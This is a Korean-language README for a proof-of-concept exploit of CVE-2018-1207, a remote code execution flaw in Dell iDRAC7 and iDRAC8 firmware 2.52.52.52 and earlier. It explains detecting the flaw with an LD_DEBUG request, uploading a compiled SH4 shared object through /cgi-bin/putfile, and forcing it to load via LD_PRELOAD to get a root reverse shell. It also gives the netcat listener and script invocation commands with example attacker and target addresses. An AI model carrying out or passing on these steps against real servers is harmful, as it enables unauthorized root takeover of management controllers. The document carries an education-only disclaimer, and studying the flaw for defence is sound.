
펌웨어 2.52.52.52 이하의 iDRAC 7 & 8용 리버스 셸 CVE
이 저장소에는 펌웨어 버전 2.52.52.52 이하의 iDRAC7 및 iDRAC8 장치에 존재하는 원격 코드 실행 취약점을 시연하는 PoC 파이썬 스크립트가 포함되어 있습니다. 이 익스플로잇을 사용하면 공격자가 루트 권한 사용자로 코드를 실행할 수 있으며, 이는 전체 시스템 장악으로 이어질 수 있습니다. 코드에서는 이 취약점을 사용한 리버스 셸 공격을 실행하여 이를 보여줍니다. 이 저장소의 코드는 Michael Gargiullo(mgargiullo)의 원본 익스플로잇을 수정한 버전입니다.
고지 사항 - 이 코드는 교육 목적으로만 제공됩니다. 소유하지 않았거나 명시적인 서면 동의를 받지 않은 장치를 공격하는 데 이 스크립트를 사용해서는 안 됩니다. 적절한 승인 없이 이 스크립트를 시스템에 사용하는 것은 불법입니다. 이 도구로 인한 오용이나 피해에 대해 저는 책임지지 않습니다. 무단 사용은 벌금과 징역을 포함한 심각한 법적 결과를 초래할 수 있습니다.
?LD_DEBUG=files를 포함한 요청을 로그인 페이지에 전송합니다. 응답에 로드하려는 라이브러리 파일을 보여주는 디버깅 콘텐츠가 포함되어 있으면 취약한 것으로 판단합니다.sh4-linux-gnu-gcc를 사용하여 C 코드가 담긴 생성된 파일을 컴파일합니다. iDRAC이 SuperH(SH4) 프로세서 아키텍처에서 실행되므로 iDRAC이 실행할 수 있도록 코드를 공유 객체(.so)로 컴파일해야 합니다.POST 요청을 /cgi-bin/putfile에 보내 파일을 업로드할 수 있으며, 그러면 파일이 /tmp/sshpkauthupload.tmp에 저장됩니다.?LD_PRELOAD=/tmp/sshpkauthupload.tmp 매개변수를 사용하여 /cgi-bin/discover에 또 다른 GET 요청을 보냅니다. 이렇게 하면 iDRAC이 다른 라이브러리보다 먼저 지정된 라이브러리를 강제로 로드하게 되고, 그 결과 /tmp/ 디렉터리에서 수정된 .so 파일이 로드됩니다.constructor 함수 안에 있기 때문에 로드되는 즉시 코드가 실행되어, Linux 기반 시스템에서 가장 높은 권한을 가진 사용자인 root 사용자로 리버스 셸이 실행됩니다.스크립트를 실행하기 전에 다음 사항이 갖추어져 있는지 확인하십시오:
requests 모듈 (pip install requests로 설치 가능)sudo apt install gcc-sh4-linux-gnu로 설치 가능)이러한 요구 사항이 없으면 문제가 발생하고 익스플로잇이 완전히 실행되지 않습니다! 이러한 요구 사항이 충족되었는지 확인하는 검사는 없습니다.
리버스 셸을 받기 위해 머신에서 리스너를 시작하세요. netcat을 사용합니다.
nc -lvnp <LPORT>
<LPORT>를 리슨할 포트(예: 5000)로 바꾸세요.
필요한 인수와 함께 스크립트를 실행하세요.
python3 cve-2018-1207.py --rhost <RHOST> --rport <RPORT> --lhost <LHOST> --lport <LPORT>
--rhost: 대상 iDRAC의 IP 주소입니다.--rport: iDRAC 웹 인터페이스의 포트입니다 (보통 443).--lhost: 리버스 셸이 연결될 로컬 IP 주소입니다.--lport: Netcat 리스너가 실행 중인 로컬 포트입니다.--keep-payload: (선택 사항) 설정하면 스크립트가 실행 후 payload.c 및 payload.so를 머신에서 삭제하지 않습니다.공격자 머신 (IP: 192.168.1.100) - 리스너를 시작합니다.
nc -lvnp 5000
공격자 머신 - 192.168.1.50의 iDRAC을 대상으로 익스플로잇을 실행합니다.
python3 cve-2018-1207.py --rhost 192.168.1.50 --rport 443 --lhost 192.168.1.100 --lport 5000
성공하면 Netcat 터미널에서 racadm과 같은 명령을 실행할 수 있는 셸 세션을 받게 됩니다.